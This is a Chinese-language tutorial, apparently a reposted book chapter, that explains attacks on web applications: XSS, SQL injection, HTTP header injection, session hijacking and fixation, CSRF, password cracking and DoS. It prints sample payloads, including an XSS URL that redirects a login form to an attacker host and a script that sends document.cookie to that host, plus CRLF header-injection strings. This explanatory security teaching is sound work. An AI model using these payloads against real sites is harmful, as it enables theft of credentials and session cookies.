前言
互聯(lián)網(wǎng)上的攻擊大都將 Web 站點作為目標。 本章講解具體有哪些攻擊 Web 站點的手段， 以及攻擊會造成怎樣的影響
簡單的 HTTP 協(xié)議本身并不存在安全性問題， 因此協(xié)議本身幾乎不會成為攻擊的對象。 應(yīng)用 HTTP 協(xié)議的服務(wù)器和客戶端， 以及運行在服務(wù)器上的 Web 應(yīng)用等資源才是攻擊目標。
HTTP 不具備必要的安全功能
與最初的設(shè)計相比， 現(xiàn)今的 Web 網(wǎng)站應(yīng)用的 HTTP 協(xié)議的使用方式已發(fā)生了翻天覆地的變化。 幾乎現(xiàn)今所有的 Web 網(wǎng)站都會使用會話（session） 管理、 加密處理等安全性方面的功能， 而 HTTP 協(xié)議內(nèi)并不具備這些功能。
從整體上看， HTTP 就是一個通用的單純協(xié)議機制。 因此它具備較多優(yōu)勢， 但是在安全性方面則呈劣勢。
就拿遠程登錄時會用到的 SSH 協(xié)議來說， SSH 具備協(xié)議級別的認證及會話管理等功能， HTTP 協(xié)議則沒有。 另外在架設(shè) SSH 服務(wù)方面，任何人都可以輕易地創(chuàng)建安全等級高的服務(wù)， 而 HTTP 即使已架設(shè)好服務(wù)器， 但若想提供服務(wù)器基礎(chǔ)上的 Web 應(yīng)用， 很多情況下都需要重新開發(fā)。
因此， 開發(fā)者需要自行設(shè)計并開發(fā)認證及會話管理功能來滿足 Web應(yīng)用的安全。 而自行設(shè)計就意味著會出現(xiàn)各種形形色色的實現(xiàn)。 結(jié)果， 安全等級并不完備， 可仍在運作的 Web 應(yīng)用背后卻隱藏著各種容易被攻擊者濫用的安全漏洞的 Bug。
在客戶端即可篡改請求
在 Web 應(yīng)用中， 從瀏覽器那接收到的 HTTP 請求的全部內(nèi)容， 都可以在客戶端自由地變更、 篡改。 所以 Web 應(yīng)用可能會接收到與預(yù)期數(shù)據(jù)不相同的內(nèi)容。
在 HTTP 請求報文內(nèi)加載攻擊代碼， 就能發(fā)起對 Web 應(yīng)用的攻擊。通過 URL查詢字段或表單、 HTTP 首部、 Cookie 等途徑把攻擊代碼傳入， 若這時 Web 應(yīng)用存在安全漏洞， 那內(nèi)部信息就會遭到竊取， 或被攻擊者拿到管理權(quán)限
針對 Web 應(yīng)用的攻擊模式
對 Web 應(yīng)用的攻擊模式有以下兩種。
以服務(wù)器為目標的主動攻擊
主動攻擊（active attack） 是指攻擊者通過直接訪問 Web 應(yīng)用，把攻擊代碼傳入的攻擊模式。 由于該模式是直接針對服務(wù)器上的資源進行攻擊， 因此攻擊者需要能夠訪問到那些資源。
以服務(wù)器為目標的被動攻擊
被動攻擊（passive attack） 是指利用圈套策略執(zhí)行攻擊代碼的攻擊模式。 在被動攻擊過程中， 攻擊者不直接對目標 Web 應(yīng)用訪問發(fā)起攻擊。
被動攻擊通常的攻擊模式如下所示。
步驟 1： 攻擊者誘使用戶觸發(fā)已設(shè)置好的陷阱， 而陷阱會啟動發(fā)送已嵌入攻擊代碼的 HTTP 請求。
步驟 2： 當用戶不知不覺中招之后， 用戶的瀏覽器或郵件客戶端就會觸發(fā)這個陷阱。
步驟 3： 中招后的用戶瀏覽器會把含有攻擊代碼的 HTTP 請求發(fā)送給作為攻擊目標的 Web 應(yīng)用， 運行攻擊代碼。
步驟 4： 執(zhí)行完攻擊代碼， 存在安全漏洞的 Web 應(yīng)用會成為攻擊者的跳板， 可能導(dǎo)致用戶所持的 Cookie 等個人信息被竊取，登錄狀態(tài)中的用戶權(quán)限遭惡意濫用等后果。
被動攻擊模式中具有代表性的攻擊是跨站腳本攻擊和跨站點請求偽造。
因輸出值轉(zhuǎn)義不完全引發(fā)的安全漏洞
實施 Web 應(yīng)用的安全對策可大致分為以下兩部分。客戶端的驗證 Web 應(yīng)用端（ 服務(wù)器端） 的驗證輸入值驗證輸出值轉(zhuǎn)義
多數(shù)情況下采用 Javascript 在客戶端驗證數(shù)據(jù)。 可是在客戶端允許篡改數(shù)據(jù)或關(guān)閉 Javascript， 不適合將 Javascript 驗證作為安全的防范對策。 保留客戶端驗證只是為了盡早地辨識輸入錯誤， 起到提高 UI體驗的作用。
Web 應(yīng)用端的輸入值驗證按 Web 應(yīng)用內(nèi)的處理則有可能被誤認為是具有攻擊性意義的代碼。 輸入值驗證通常是指檢查是否是符合系統(tǒng)業(yè)務(wù)邏輯的數(shù)值或檢查字符編碼等預(yù)防對策。
從數(shù)據(jù)庫或文件系統(tǒng)、 HTML、 郵件等輸出 Web 應(yīng)用處理的數(shù)據(jù)之際， 針對輸出做值轉(zhuǎn)義處理是一項至關(guān)重要的安全策略。 當輸出值轉(zhuǎn)義不完全時， 會因觸發(fā)攻擊者傳入的攻擊代碼， 而給輸出對象帶來損害。
跨站腳本攻擊XSS
跨站腳本攻擊（Cross-Site scripting， XSS） 是指通過存在安全漏洞的Web 網(wǎng)站注冊用戶的瀏覽器內(nèi)運行非法的 HTML標簽或 Javascript 進行的一種攻擊。 動態(tài)創(chuàng)建的 HTML部分有可能隱藏著安全漏洞。 就這樣， 攻擊者編寫腳本設(shè)下陷阱， 用戶在自己的瀏覽器上運行時， 一不小心就會受到被動攻擊。
跨站腳本攻擊有可能造成以下影響。
XSS實例
初始XSS
此時的確認界面上， 瀏覽器會把用戶輸入的 <s> 解析成 HTML標簽， 然后顯示刪除線。
嚴重的例子——盜取用戶個人信息
網(wǎng)站通過地址欄中 URI 的查詢字段指定 ID， 即相當于在表單內(nèi)自動填寫字符串的功能。 而就在這個地方， 隱藏著可執(zhí)行跨站腳本攻擊的漏洞。
對請求時對應(yīng)的HTML源代碼（摘錄）
<div class="logo"><img src="/img/logo.gif" alt="E! 拍賣會" /></div>
<form action="http://example.jp/login" method="post" id="login">
<div class="input_id"> ID <input type="text" name="ID" value="yama" />
</div>
充分熟知此處漏洞特點的攻擊者， 于是就創(chuàng)建了下面這段嵌入惡意代碼的 URL。 并隱藏植入事先準備好的欺詐郵件中或 Web 頁面內(nèi)， 誘使用戶去點擊該 URL。
http://example.jp/login?ID= "> <script> var +f=document.getElementById("login"); +f.action="http://hackr.jp/pwget; f.method="get"; </script> <span+s="<div class="logo"><img src="/img/logo.gif" alt="E! 拍賣會 /></div>
<form action="http://example.jp/login" method="post" id="login">
<div class="input_id"> ID <input type="text" name="ID" value=" "> <script> var f=document.getElementById("login"); f.action="http://hackr.jp/pwget; f.method="get"; </script> <span s=" "/>
</div>瀏覽器打開該 URI 后， 直觀感覺沒有發(fā)生任何變化， 但設(shè)置好的腳本卻偷偷開始運行了。 當用戶在表單內(nèi)輸入 ID 和密碼之后，就會直接發(fā)送到攻擊者的網(wǎng)站（也就是 hackr.jp） ， 導(dǎo)致個人登錄信息被竊取
對用戶 Cookie 的竊取攻擊
除了在表單中設(shè)下圈套之外， 下面那種惡意構(gòu)造的腳本同樣能夠以跨站腳本攻擊的方式， 竊取到用戶的 Cookie 信息。
<script src=http://hackr.jp/xss.js></script>
該腳本內(nèi)指定的 http://hackr.jp/xss.js 文件。 即下面這段采用Javascript 編寫的代碼。
var content = escape(document.cookie);
document.write("<img src=http://hackr.jp/?");
document.write(content);document.write(">");在存在可跨站腳本攻擊安全漏洞的 Web 應(yīng)用上執(zhí)行上面這段Javascript 程序， 即可訪問到該 Web 應(yīng)用所處域名下的 Cookie 信息。 然 后這些信息會發(fā)送至攻擊者的 Web 網(wǎng)站（http://hackr.jp/） ， 記錄在他的登錄日志中。 結(jié)果， 攻擊者就這樣竊取到用戶的 Cookie 信息了。
SQL 注入攻擊
SQL注入（SQL Injection） 是指針對 Web 應(yīng)用使用的數(shù)據(jù)庫， 通過運行非法的 SQL而產(chǎn)生的攻擊。 該安全隱患有可能引發(fā)極大的威脅， 有時會直接導(dǎo)致個人信息及機密信息的泄露。
Web 應(yīng)用通常都會用到數(shù)據(jù)庫， 當需要對數(shù)據(jù)庫表內(nèi)的數(shù)據(jù)進行檢索或添加、 刪除等操作時， 會使用 SQL語句連接數(shù)據(jù)庫進行特定的操作。 如果在調(diào)用 SQL語句的方式上存在疏漏， 就有可能執(zhí)行被惡意注入（Injection） 非法 SQL語句。
SQL注入攻擊有可能會造成以下等影響
實例
我們要進行搜索關(guān)于上野宣相關(guān)的數(shù)據(jù)，并且是滿足可以銷售的
但是如果對SQL語句做手腳，也就是對q進行做手腳 q=上野宣’ - - ,如果不做處理，后端對應(yīng)的SQL語句為
本案例中的問題僅僅是把未出版書籍的條目也一同顯示出來了。但實際發(fā)生 SQL注入攻擊時， 很有可能會導(dǎo)致用戶信息或結(jié)算內(nèi)容等其他數(shù)據(jù)表的非法瀏覽及篡改， 從而使用戶遭受不同程度的損失。
HTTP 首部注入攻擊
HTTP 首部注入攻擊（HTTP Header Injection） 是指攻擊者通過在響應(yīng)首部字段內(nèi)插入換行， 添加任意響應(yīng)首部或主體的一種攻擊。 屬于被動攻擊模式。向首部主體內(nèi)添加內(nèi)容的攻擊稱為 HTTP 響應(yīng)截斷攻擊（HTTPResponse Splitting Attack） 。
如下所示， Web 應(yīng)用有時會把從外部接收到的數(shù)值， 賦給響應(yīng)首部字段 Location 和 Set-Cookie。
HTTP 首部注入可能像這樣， 通過在某些響應(yīng)首部字段需要處理輸出值的地方， 插入換行發(fā)動攻擊。
HTTP 首部注入攻擊有可能會造成以下一些影響。
HTTP 首部注入攻擊案例
下面我們以選定某個類別后即可跳轉(zhuǎn)至各類別對應(yīng)頁面的功能為
講解 HTTP 首部注入攻擊。 該功能為每個類別都設(shè)定了一個類別 ID 值， 一旦選定某類別， 就會將該 ID 值反映在響應(yīng)內(nèi)的Location 首部字段內(nèi)， 形如 Location: http://example.com/?cat=101。 令瀏覽器發(fā)生重定向跳轉(zhuǎn)。
攻擊者以下面的內(nèi)容替代之前的類別 ID 后發(fā)送請求。
- Location: http://example.com/?cat=101（%0D%0A ： 換行符）
- Set-Cookie: SID=123456789
此刻， 首部字段 Set-Cookie 已生效， 因此攻擊者可指定修改任意的 Cookie 信息。 通過和會話固定攻擊（攻擊者可使用指定的會話 ID） 攻擊組合， 攻擊者可偽裝成用戶。攻擊者輸入的 %0D%0A， 原本應(yīng)該屬于首部字段 Location 的查詢值部分， 但經(jīng)過解析后， %0D%0A 變成了換行符， 結(jié)果插入了新的首部字段。這樣一來， 攻擊者可在響應(yīng)中插入任意的首部字段。
HTTP 響應(yīng)截斷攻擊
HTTP 響應(yīng)截斷攻擊是用在 HTTP 首部注入的一種攻擊。 攻擊順序相同， 但是要將兩個 %0D%0A%0D%0A 并排插入字符串后發(fā)送。 利用這兩個連續(xù)的換行就可作出 HTTP 首部與主體分隔所需的空行了， 這樣就能顯示偽造的主體， 達到攻擊目的。 這樣的攻擊叫做 HTTP 響應(yīng)截斷攻擊。
- Set-Cookie: UID=（%0D%0A ： 換行符）
- （%0D%0A ： 換行符）
- <HTML><HEAD><TITLE>之后， 想要顯示的網(wǎng)頁內(nèi)容 <!--（原來頁面對應(yīng)的首部字
利用這個攻擊， 已觸發(fā)陷阱的用戶瀏覽器會顯示偽造的 Web 頁面， 再讓用戶輸入自己的個人信息等， 可達到和跨站腳本攻擊相同的效果。
另外， 濫用 HTTP/1.1 中匯集多響應(yīng)返回功能， 會導(dǎo)致緩存服務(wù)器對任意內(nèi)容進行緩存操作。 這種攻擊稱為緩存污染。 使用該緩存服務(wù)器的用戶， 在瀏覽遭受攻擊的網(wǎng)站時， 會不斷地瀏覽被替換掉的 Web 網(wǎng)頁。
因會話管理疏忽引發(fā)的安全漏洞
會話劫持
會話劫持（Session Hijack） 是指攻擊者通過某種手段拿到了用戶的會話 ID， 并非法使用此會話 ID 偽裝成用戶， 達到攻擊的目的
。
具備認證功能的 Web 應(yīng)用， 使用會話 ID 的會話管理機制， 作為管理認證狀態(tài)的主流方式。 會話 ID 中記錄客戶端的 Cookie 等信息， 服務(wù)器端將會話 ID 與認證狀態(tài)進行一對一匹配管理。
下面列舉了幾種攻擊者可獲得會話 ID 的途徑。
會話劫持攻擊案例
我們以認證功能為例講解會話劫持。 這里的認證功能通過會話管理機制， 會將成功認證的用戶的會話 ID（SID） 保存在用戶瀏覽器的 Cookie 中。
攻擊者在得知該 Web 網(wǎng)站存在可跨站攻擊（XSS） 的安全漏洞后， 就設(shè)置好用 Javascript 腳本調(diào)用 document.cookie 以竊取Cookie 信息的陷阱， 一旦用戶踏入陷阱（訪問了該腳本) ， 攻擊者就能獲取含有會話 ID 的 Cookie。
攻擊者拿到用戶的會話 ID 后， 往自己的瀏覽器的 Cookie 中設(shè)置該會話 ID， 即可偽裝成會話 ID 遭竊的用戶， 訪問 Web 網(wǎng)站了。
會話固定攻擊
對以竊取目標會話 ID 為主動攻擊手段的會話劫持而言， 會話固定攻擊（Session Fixation） 攻擊會強制用戶使用攻擊者指定的會話 ID， 屬于被動攻擊。
會話固定攻擊案例
這個 Web 網(wǎng)站的認證功能， 會在認證前發(fā)布一個會話 ID， 若認證成功， 就會在服務(wù)器內(nèi)改變認證狀態(tài)。
攻擊者準備陷阱， 先訪問 Web 網(wǎng)站拿到會話ID（SID=f5d1278e8109） 。 此刻， 會話 ID 在服務(wù)器上的記錄仍是（未認證） 狀態(tài)。 （步驟① ~ ②）
攻擊者設(shè)置好強制用戶使用該會話 ID 的陷阱， 并等待用戶拿著這個會話 ID 前去認證。 一旦用戶觸發(fā)陷阱并完成認證， 會話ID（SID=f5d1278e8109） 在服務(wù)器上的狀態(tài)（用戶 A 已認證） 就會被記錄下來。 （步驟③）
攻擊者估計用戶差不多已觸發(fā)陷阱后， 再利用之前這個會話 ID訪問網(wǎng)站。 由于該會話 ID 目前已是（用戶 A 已認證） 狀態(tài)， 于是攻擊者作為用戶 A 的身份順利登錄網(wǎng)站。 （步驟④)
Session Adoption
跨站點請求偽造CSRF
跨站點請求偽造（Cross-Site Request Forgeries， CSRF） 攻擊是指攻擊者通過設(shè)置好的陷阱， 強制對已完成認證的用戶進行非預(yù)期的個人信息或設(shè)定信息等某些狀態(tài)更新， 屬于被動攻擊。
跨站點請求偽造有可能會造成以下等影響。
跨站點請求偽造的攻擊案例
下面以留言板功能為例， 講解跨站點請求偽造。 該功能只允許已認證并登錄的用戶在留言板上發(fā)表內(nèi)容。
在該留言板系統(tǒng)上， 受害者用戶 A 是已認證狀態(tài)。 它的瀏覽器中的 Cookie 持有已認證的會話 ID（步驟①） 。
攻擊者設(shè)置好一旦用戶訪問， 即會發(fā)送在留言板上發(fā)表非主觀行為產(chǎn)生的評論的請求的陷阱。 用戶 A 的瀏覽器執(zhí)行完陷阱中的請求后， 留言板上也就會留下那條評論（步驟②） 。
觸發(fā)陷阱之際， 如果用戶 A 尚未通過認證， 則無法利用用戶 A的身份權(quán)限在留言板上發(fā)表內(nèi)容
其他安全漏洞
密碼破解
密碼破解攻擊（Password Cracking） 即算出密碼， 突破認證。 攻擊不僅限于 Web 應(yīng)用， 還包括其他的系統(tǒng)（如 FTP 或 SSH 等） ， 本節(jié)將會講解對具備認證功能的 Web 應(yīng)用進行的密碼破解。
密碼破解有以下兩種手段。
通過網(wǎng)絡(luò)進行密碼試錯
對 Web 應(yīng)用提供的認證功能， 通過網(wǎng)絡(luò)嘗試候選密碼進行的一種攻擊。 主要有以下兩種方式。
窮舉法
窮舉法（Brute-force Attack， 又稱暴力破解法） 是指對所有密鑰集合構(gòu)成的密鑰空間（Keyspace） 進行窮舉。 即， 用所有可行的候選密碼對目標的密碼系統(tǒng)試錯， 用以突破驗證的一種攻擊。
因為窮舉法會嘗試所有的候選密碼， 所以是一種必然能夠破解密碼的攻擊。 但是， 當密鑰空間很龐大時， 解密可能需要花費數(shù)年， 甚至千年的時間， 因此從現(xiàn)實角度考量， 攻擊是失敗的。
字典攻擊
利用別處泄露的 ID·密碼進行攻擊字典攻擊中有一種利用其他 Web 網(wǎng)站已泄露的 ID 及密碼列表進行的攻擊。 很多用戶習慣隨意地在多個 Web 網(wǎng)站使用同一套 ID 及密碼， 因此攻擊會有相當高的成功幾率
對已加密密碼的破解
Web 應(yīng)用在保存密碼時， 一般不會直接以明文的方式保存， 通過散列函數(shù)做散列處理或加 salt 的手段對要保存的密碼本身加密。那即使攻擊者使用某些手段竊取密碼數(shù)據(jù)， 如果想要真正使用這些密碼， 則必須先通過解碼等手段， 把加密處理的密碼還原成明文形式。
從加密過的數(shù)據(jù)中導(dǎo)出明文通常有以下幾種方法。
通過窮舉法·字典攻擊進行類推
彩虹表
拿到密鑰
加密算法的漏洞
通過窮舉法·字典攻擊進行類推
彩虹表
彩虹表（Rainbow Table） 是由明文密碼及與之對應(yīng)的散列值構(gòu)成的一張數(shù)據(jù)庫表， 是一種通過事先制作龐大的彩虹表， 可在窮舉法 • 字典攻擊等實際破解過程中縮短消耗時間的技巧。 從彩虹表內(nèi)搜索散列值就可以推導(dǎo)出對應(yīng)的明文密碼
拿到密鑰
使用共享密鑰加密方式對密碼數(shù)據(jù)進行加密處理的情況下， 如果能通過某種手段拿到加密使用的密鑰， 也就可以對密碼數(shù)據(jù)解密了。
加密算法的漏洞
考慮到加密算法本身可能存在的漏洞， 利用該漏洞嘗試解密也是一種可行的方法。 但是要找到那些已廣泛使用的加密算法的漏洞， 又談何容易， 因此困難極大， 不易成功。而 Web 應(yīng)用開發(fā)者獨立實現(xiàn)的加密算法， 想必尚未經(jīng)過充分的驗證， 還是很有可能存在漏洞的
DoS 攻擊
DoS 攻擊（Denial of Service attack） 是一種讓運行中的服務(wù)呈停止狀態(tài)的攻擊。 有時也叫做服務(wù)停止攻擊或拒絕服務(wù)攻擊。 DoS 攻擊的對象不僅限于 Web 網(wǎng)站， 還包括網(wǎng)絡(luò)設(shè)備及服務(wù)器等。
主要有以下兩種 DoS 攻擊方式。
其中， 集中利用訪問請求的 DoS 攻擊， 單純來講就是發(fā)送大量的合法請求。 服務(wù)器很難分辨何為正常請求， 何為攻擊請求， 因此很難防止 DoS 攻擊。
該文章在 2023/10/30 10:52:38 編輯過
400 186 1886
